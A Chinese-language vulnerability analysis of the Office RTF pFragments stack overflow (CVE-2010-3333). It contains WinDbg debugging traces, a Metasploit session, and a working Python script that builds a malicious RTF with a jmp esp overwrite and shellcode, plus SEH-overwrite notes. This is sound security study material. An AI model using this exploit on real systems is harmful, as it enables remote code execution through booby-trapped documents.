文章目录
本文包括 栈回溯定位漏洞的方法, 详细的漏洞分析过程以及 如何编写通用性exp的想法
一、漏洞信息
漏洞描述
漏洞描述:Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此又称之为“RTF栈缓冲区溢出漏洞”。
分析环境
环境 | 备注 | |
---|---|---|
操作系统 | windows xp sp3 | 简体中文 |
调试器 | windbg/Immunity Debugger | |
漏洞软件 | Microsoft Office Word | 2003 SP3 |
漏洞组件 | MSO.dll | 版本11.0.8172 |
简单利用过程
msf获取样本
msf5 > search cve-2010-3333
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
msf5 > use 0
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set cmd calc.exe
cmd => calc.exe
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/kali/.msf4/local/msf.rtf
双击后出现calc.exe,漏洞成功触发
为了方便调试可以利用msf生成crash样本
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/kali/.msf4/local/msf.rtf
二、漏洞分析
RTF文件格式
RTF(Rich Text Format)文件的基本元素是正文(Text),控制字(Control Word),控制符号(Control Symbol)和群组(Group)
样本中的控制字的作用
\rtf1 --- RTF版本
\shp --- 绘图对象
\sp --- 绘图对象属性定义
\sn pFragments --- 定义属性名称,pFragments段是图形的附加部分,属于数组结构。它允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv --- 定义属性值
基于栈回溯的漏洞分析方法
msf生成的样本利用的是攻击SEH的方法进行。有两种打开样本的方法,不同打开方式SEH链不同,会影响漏洞的调试和利用。
第一种方法打开word再使用windbg附加,然后再去打开样本,栈中的SEH链和直接打开时是不一样的。
第二种方法,因为之前打开过,所以直接双击打开msf.rtf,会弹出提示框。此时使用windbg附加,再点击打开。
直接打开rtf的SEH链
0:000> !exchain
0012ffb0: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE -
WINWORD!wdGetApplicationObject+280d10 (30aa1abc)
0012ffe0: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
kernel32!ValidateLocale+2b0 (7c839ac0)
Invalid exception stack at ffffffff
后面的分析时都是使用第二种打开方式(双击直接打开),附加windbg再正常运行
第一步使样本报错定位漏洞点
- 报错信息显示异常地址为0x30ed442c,从[esi]到[edi]复制的过程中访问违例,。
- 查看esi指向内容如下
- 查看edi指向地址的属性为PAGE_READONLY,且该地址正好在esp附近的高地址,可能是栈溢出且能覆盖SEH
- 可以知道漏洞模块为MSO.dll,查看MSO.dll的信息
0:003> g
ModLoad: 087e0000 08981000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
(bc8.c24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00000022 edx=00000000 esi=1104c830 edi=00130000
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
#查看esi的内容
0:000> db esi
1104c830 38 4e 72 39 4e 73 30 4e-73 31 4e 73 32 4e 73 33 8Nr9Ns0Ns1Ns2Ns3
1104c840 4e 73 34 4e 73 35 4e 73-36 4e 73 37 4e 73 38 4e Ns4Ns5Ns6Ns7Ns8N
1104c850 73 39 4e 74 30 4e 74 31-4e 74 32 4e 74 33 4e 74 s9Nt0Nt1Nt2Nt3Nt
1104c860 34 4e 74 35 4e 74 36 4e-74 37 4e 74 38 4e 74 39 4Nt5Nt6Nt7Nt8Nt9
1104c870 4e 75 30 4e 75 31 4e 75-32 4e 75 33 4e 75 34 4e Nu0Nu1Nu2Nu3Nu4N
1104c880 75 35 4e 75 36 4e 75 37-4e 75 38 4e 75 39 4e 76 u5Nu6Nu7Nu8Nu9Nv
1104c890 30 4e 76 31 4e 76 32 4e-76 33 4e 76 34 4e 76 35 0Nv1Nv2Nv3Nv4Nv5
1104c8a0 4e 76 36 4e 76 37 4e 76-38 4e 76 39 4e 77 30 4e Nv6Nv7Nv8Nv9Nw0N
#查看edi指向地址的属性
0:000> !address edi
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
#查看漏洞模块
0:000> lmm mso v
start end module name
30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image name: mso.dll
Timestamp: Tue Jun 19 07:53:36 2007 (46771B00)
CheckSum: 00BB6E3C
ImageSize: 00BBC000
File version: 11.0.8172.0
Product version: 11.0.8172.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04e4
CompanyName: Microsoft Corporation
ProductName: Microsoft Office 2003
InternalName: MSO
OriginalFilename: MSO.DLL
ProductVersion: 11.0.8172
FileVersion: 11.0.8172
FileDescription: Microsoft Office 2003 component
LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.
第二步下断点,栈回溯找漏洞函数
重新打开样本并在0x30ed442c下断点。
通过栈回溯和查看汇编代码,定位漏洞函数在0x30f0b5c2
0:003> bp 0x30ed442c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:003> g
ModLoad: 08660000 08801000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=001237dc
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
#查看栈帧
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001237ec 30f0b56b 00123958 00000000 ffffffff mso!Ordinal1246+0x16b0
0012381c 30f0b4f9 001239a4 00123958 00000000 mso!Ordinal1273+0x2581
00123a68 30d4d795 00000000 00123aa8 00000000 mso!Ordinal1273+0x250f
00123a90 30d4d70d 30d4d5a8 01490b88 01490bc0 mso!Ordinal5575+0xf9
00123a94 30d4d5a8 01490b88 01490bc0 01490a70 mso!Ordinal5575+0x71
00123a98 01490b88 01490bc0 01490a70 30dce40c mso!Ordinal4099+0xf5
00123a9c 01490bc0 01490a70 30dce40c 00000000 0x1490b88
00123aa0 01490a70 30dce40c 00000000 0149084c 0x1490bc0
00123aa4 30dce40c 00000000 0149084c 00124854 0x1490a70
00123aa8 00000000 0149084c 00124854 00000000 mso!Ordinal2940+0x1588c
#反向查看汇编代码
0:000> ub 30f0b56b
mso!Ordinal1273+0x256d:
30f0b557 23c1 and eax,ecx
30f0b559 50 push eax
30f0b55a 8d47ff lea eax,[edi-1]
30f0b55d 50 push eax
30f0b55e 8b4508 mov eax,dword ptr [ebp+8]
30f0b561 6a00 push 0
30f0b563 ff750c push dword ptr [ebp+0Ch]
30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)
第三步 分析漏洞函数,找到漏洞原因
重新打开样本并在0x30f0b5c2下断点,但是这和前面发生栈溢出的地址0x30ed442c,距离差的有点多可能需要call进去。
1.跟入call dword ptr [eax+1Ch] 。调用函数地址为0x30ed4406与目标地址接近
2.进入后因为没有重新开辟栈帧所以在查看栈回溯的时候没有直接定位到这
3.在进行复制之前用ecx保存了需要复制的大小,操作的是dword数据,需要算数右移2位。正好是rtf中保存的pFragments的长度0xc8ac
4.edi=0x001237dc,ebp=0x001237ec 相距0x14字节
30f0b5c2 55 push ebp
30f0b5c3 8bec mov ebp,esp
30f0b5c5 83ec14 sub esp,14h#开辟栈空间0x14
30f0b5c8 837d1800 cmp dword ptr [ebp+18h],0
30f0b5cc 57 push edi
30f0b5cd 8bf8 mov edi,eax
30f0b5cf 0f841d4c1800 je mso!Ordinal6844+0x94aaa (310901f2)
30f0b5d5 8b4f08 mov ecx,dword ptr [edi+8]
30f0b5d8 53 push ebx
30f0b5d9 56 push esi
30f0b5da e8c4e8e1ff call mso!Ordinal2412+0x93 (30d29ea3)
30f0b5df ff750c push dword ptr [ebp+0Ch]
30f0b5e2 8b7064 mov esi,dword ptr [eax+64h]
30f0b5e5 8365f800 and dword ptr [ebp-8],0
30f0b5e9 8b06 mov eax,dword ptr [esi]
30f0b5eb 8d4df0 lea ecx,[ebp-10h]
30f0b5ee 51 push ecx
30f0b5ef bb00000005 mov ebx,5000000h
30f0b5f4 56 push esi
30f0b5f5 895df4 mov dword ptr [ebp-0Ch],ebx
#这里需要跟进
30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406
#调用函数
#F8跟进后,可以知道为什么这里没有出现在调用链中,因为调用的时候没有开辟新的栈帧
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=001237dc
eip=30ed4429 esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16ad:
30ed4429 c1e902 shr ecx,2
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=001237dc
eip=30ed442c esp=001237b4 ebp=001237ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
#查看esi中的内容
0:000> db esi
1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
第四步 分析可能的利用方式
因为在解析pFraments属性时没有校验长度,所以复制的时候只要长度大于0x14就能覆盖返回地址。并且只要长度够长还能覆盖到SEH。
三、漏洞利用
方法1:将返回地址覆盖为jmp esp
根据上面的分析,只要长度大于0x14即可覆盖返回地址。
0:000> uf 30ed4406
mso!Ordinal1246+0x168a:
30ed4406 57 push edi
30ed4407 8b7c240c mov edi,dword ptr [esp+0Ch]
30ed440b 85ff test edi,edi
30ed440d 7427 je mso!Ordinal1246+0x16ba (30ed4436)
mso!Ordinal1246+0x1693:
30ed440f 8b442408 mov eax,dword ptr [esp+8]
30ed4413 8b4808 mov ecx,dword ptr [eax+8]
30ed4416 81e1ffff0000 and ecx,0FFFFh
30ed441c 56 push esi
30ed441d 8bf1 mov esi,ecx
30ed441f 0faf742414 imul esi,dword ptr [esp+14h]
30ed4424 037010 add esi,dword ptr [eax+10h]
30ed4427 8bc1 mov eax,ecx
30ed4429 c1e902 shr ecx,2
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
30ed442e 8bc8 mov ecx,eax
30ed4430 83e103 and ecx,3
30ed4433 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
#在shellcode之前需要填充0x14字节的内容
30ed4435 5e pop esi
mso!Ordinal1246+0x16ba:
30ed4436 5f pop edi
30ed4437 c20c00 ret 0Ch
**第一步:**找到稳定不会改变地址的jmp esp。利用mona插件!mona findwild -s “jmp esp”。这里使用SHELL32.dll中的0x7d5a31db
**第二步:**生成shellcode。利用msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex
**第三步:**拼接成rtf的格式(参考链接:https://www.sunxiaokong.xyz/2019-10-22/lzx-01/)
#CVE-2010-3333 my_exp.py
#-*-coding:utf8-*-
data = '''{\\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111'''
data += '0010' #复制数据的长度
data += '1'*0x20+'1'*8 #循环复制目的地址与返回地址中的填充
data += 'db315a7d' #返回地址 jmp esp指令地址
data += '0'*0x14*2 #jmp esp指令地址与shellcode之间的填充
shellcode = 'fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4' \
'c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b' \
'8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a69' \
'5bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500'
data += shellcode
data += '}}}}}'
print(len(shellcode))
print(data)
with open('exp_jmp_esp.rtf', 'w') as f:
f.write(data)
f.close()
生成的rtf分析,并成功出现计算器。
方法2:覆盖SEH结构体
覆盖SEH结构体的内容为jmp 06 + pop pop ret + jmp shellcode。当触发异常时会跳入shellcode中执行代码。这也是msf生成的样本使用的方法。
这里以msf生成的target为”Microsoft Office 2003 SP3 English on Windows XP SP3 English“的样本为例进行分析。
-
运行样本并在0x30ed442c处下断点。
-
先查看原来的SEH链
-
F10执行之后再看SEH链,此时已经被覆盖为了0x30001bdd
-
在0x30001bdd下断点
正好是pop pop retn。接下去就单步跟踪经过两次jmp就能到shellcode
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=30001bdd edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdd esp=001233e4 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bdd:
30001bdd 59 pop ecx
0:000> p
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=30001bde esp=001233e8 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bde:
30001bde 59 pop ecx
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=30001bdf esp=001233ec ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINWORD+0x1bdf:
30001bdf c3 ret
#跳转到下一个跳转指令
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb0 esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012ffb0 eb06 jmp 0012ffb8
#跳转到shellcode
0:000> p
eax=00000000 ebx=00000000 ecx=001234cc edx=7c9232bc esi=00000000 edi=00000000
eip=0012ffb8 esp=001233f0 ebp=00123404 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012ffb8 e91f38ffff jmp 001237dc
通用shellcode的研究
可以分析msf生成rtf的代码了解通用性的exp如何生成。
-
先生成通用的rtf命名为automic.rtf
-
生成”Microsoft Office 2003 SP3 English on Windows XP SP3 English“样本命名为2003xp.rtf
-
生成”Microsoft Office 2007 SP0 English on Windows XP SP3 Englis”样本命名为2007xp.rtf
-
用010edit分别进行对比
2003xp.rtf和automic.rtf对比,只需要看相同的地方
-
偏移0x27:pFragments的长度都设置为0xc8ac
-
偏移0xC044和0x18FE4:两个样本都有覆盖SEH攻击的内容pop pop ret地址0x30001bdd。和e91f38ffff为跳转的字节码
2007xp.rtf和automic.rtf对比,只需要看相同的地方
-
偏移0x27:pFragments的长度都设置为0xc8ac
-
偏移0x2ECC:2007XP样本中SEH_handle被覆盖为0x00290b0b(call ptr [ebp+0x30])。automic样本为0x78812890(pop pop ret)
**小结:**通用的exp编写需要找到在多个版本都不会改变的gadget,另一方面因为多个版本触发漏洞的点不一样(SEH的偏移不同)可以将多个漏洞的利用都尝试触发(automatic尝试覆盖多个可能的SEH结构)
参考
《漏洞战争》